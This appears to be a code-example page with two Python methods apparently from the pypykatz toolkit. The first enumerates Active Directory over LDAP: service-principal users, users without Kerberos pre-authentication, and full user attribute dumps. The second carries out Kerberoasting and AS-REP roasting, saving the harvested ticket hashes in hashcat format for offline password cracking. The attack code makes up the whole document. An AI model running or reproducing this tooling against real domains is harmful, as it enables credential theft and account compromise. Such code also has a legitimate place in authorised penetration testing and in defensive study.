Пример #1
0
    def run_live(self, args):
        from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
        from msldap.ldap_objects import MSADUser
        from msldap import logger as msldaplogger
        from pypykatz.commons.winapi.machine import LiveMachine

        machine = LiveMachine()

        if args.credential:
            creds = MSLDAPCredential.from_connection_string(args.credential)
        else:
            creds = MSLDAPCredential.get_dummy_sspi()

        if args.dc_ip:
            target = MSLDAPTarget(args.dc_ip)
        else:
            target = MSLDAPTarget(machine.get_domain())

        connection = MSLDAPConnection(creds, target)
        connection.connect()

        try:
            adinfo = connection.get_ad_info()
            domain = adinfo.distinguishedName.replace('DC=',
                                                      '').replace(',', '.')
        except Exception as e:
            logging.warning(
                '[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s'
                % e)
            domain = machine.get_domain()

        if args.cmd == 'spn':
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in connection.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        elif args.cmd == 'asrep':
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in connection.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        elif args.cmd == 'dump':
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in connection.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in connection.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        elif args.cmd == 'custom':
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in connection.pagedsearch(args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in connection.pagedsearch(args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Пример #2
0
    def run_live(self, args):
        from winsspi.sspi import KerberoastSSPI
        from minikerberos.security import TGSTicket2hashcat, APREPRoast
        from minikerberos.utils import TGTTicket2hashcat
        from minikerberos.communication import KerberosSocket
        from minikerberos.common import KerberosTarget
        from pypykatz.commons.winapi.machine import LiveMachine

        if not args.target_file and not args.target_user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        machine = LiveMachine()

        realm = args.realm
        if not args.realm:
            realm = machine.get_domain()

        if args.cmd in ['spnroast', 'asreproast']:
            targets = []
            if args.target_file:
                with open(args.target_file, 'r') as f:
                    for line in f:
                        line = line.strip()
                        domain = None
                        username = None
                        if line.find('/') != -1:
                            #we take for granted that usernames do not have the char / in them!
                            domain, username = line.split('/')
                        else:
                            username = line

                        if args.realm:
                            domain = args.realm
                        else:
                            if domain is None:
                                raise Exception(
                                    'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                                )

                        target = KerberosTarget()
                        target.username = username
                        target.domain = domain
                        targets.append(target)

            if args.target_user:
                for user in args.target_user:
                    domain = None
                    username = None
                    if user.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = user.split('/')
                    else:
                        username = user

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )
                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

            results = []
            errors = []
            if args.cmd == 'spnroast':
                for spn_name in targets:
                    ksspi = KerberoastSSPI()
                    try:
                        ticket = ksspi.get_ticket_for_spn(
                            spn_name.get_formatted_pname())
                    except Exception as e:
                        errors.append((spn_name, e))
                        continue
                    results.append(TGSTicket2hashcat(ticket))

            elif args.cmd == 'asreproast':
                dcip = args.dc_ip
                if args.dc_ip is None:
                    dcip = machine.get_domain()
                ks = KerberosSocket(dcip)
                ar = APREPRoast(ks)
                results = ar.run(targets)

            if args.out_file:
                with open(args.out_file, 'w') as f:
                    for thash in results:
                        f.write(thash + '\r\n')

            else:
                for thash in results:
                    print(thash)

            for err in errors:
                print('Failed to get ticket for %s. Reason: %s' %
                      (err[0], err[1]))

            logging.info('SSPI based Kerberoast complete')